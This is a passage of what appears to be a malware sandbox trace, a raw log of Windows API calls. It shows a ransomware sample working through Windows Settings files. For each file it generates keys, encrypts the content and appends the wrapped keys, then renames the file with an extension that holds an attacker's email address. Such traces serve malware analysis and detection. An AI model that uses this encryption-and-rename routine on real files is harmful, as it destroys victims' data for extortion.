lpOverlapped=0x0) returned 1 [0199.222] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.222] CloseHandle (hObject=0x1c24) returned 1 [0199.222] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkAirplaneMode.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkairplanemode.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkAirplaneMode.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkairplanemode.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.224] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.224] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.224] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageMultiTasking.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.225] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x42b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.226] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1067, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.226] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x42b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.226] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42b [0199.227] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.227] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.227] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.227] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.227] CloseHandle (hObject=0x1c24) returned 1 [0199.228] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageMultiTasking.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagemultitasking.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageMultiTasking.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagemultitasking.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.236] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.236] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.236] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageMaps.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.236] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x403, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x403, lpOverlapped=0x0) returned 1 [0199.237] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.237] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x403, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x403, lpOverlapped=0x0) returned 1 [0199.238] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x403 [0199.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.239] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.239] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.240] CloseHandle (hObject=0x1c24) returned 1 [0199.240] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageMaps.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagemaps.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageMaps.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagemaps.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.243] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.243] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.243] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageLockScreen.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.243] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x421, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x421, lpOverlapped=0x0) returned 1 [0199.245] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.245] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x421, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x421, lpOverlapped=0x0) returned 1 [0199.245] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x421 [0199.245] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.245] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.245] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.246] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.246] CloseHandle (hObject=0x1c24) returned 1 [0199.246] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageLockScreen.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagelockscreen.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageLockScreen.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagelockscreen.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.248] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.248] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.248] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessNarrator.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.249] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x453, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x453, lpOverlapped=0x0) returned 1 [0199.250] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1107, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.250] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x453, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x453, lpOverlapped=0x0) returned 1 [0199.250] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x453 [0199.250] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.251] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.251] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.251] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.251] CloseHandle (hObject=0x1c24) returned 1 [0199.252] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessNarrator.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccessnarrator.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessNarrator.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccessnarrator.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.254] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.254] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.254] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessMouse.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.254] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x444, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0199.255] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.255] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0199.256] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x444 [0199.256] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.256] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.256] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.256] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.257] CloseHandle (hObject=0x1c24) returned 1 [0199.257] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessMouse.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccessmouse.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessMouse.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccessmouse.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.259] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.259] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0199.259] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessMoreOptions.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.259] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x462, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x462, lpOverlapped=0x0) returned 1 [0199.260] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1122, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.260] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x462, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x462, lpOverlapped=0x0) returned 1 [0199.261] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x462 [0199.261] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.261] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.261] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.261] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.262] CloseHandle (hObject=0x1c24) returned 1 [0199.262] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessMoreOptions.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccessmoreoptions.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessMoreOptions.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccessmoreoptions.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.264] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.264] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.264] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessMagnifier.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.264] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x458, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x458, lpOverlapped=0x0) returned 1 [0199.265] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.265] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x458, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x458, lpOverlapped=0x0) returned 1 [0199.266] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x458 [0199.266] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.266] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.266] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.266] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.267] CloseHandle (hObject=0x1c24) returned 1 [0199.267] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessMagnifier.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccessmagnifier.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessMagnifier.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccessmagnifier.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.343] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.343] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.343] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessKeyboard.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.343] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x453, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x453, lpOverlapped=0x0) returned 1 [0199.344] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1107, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.344] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x453, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | 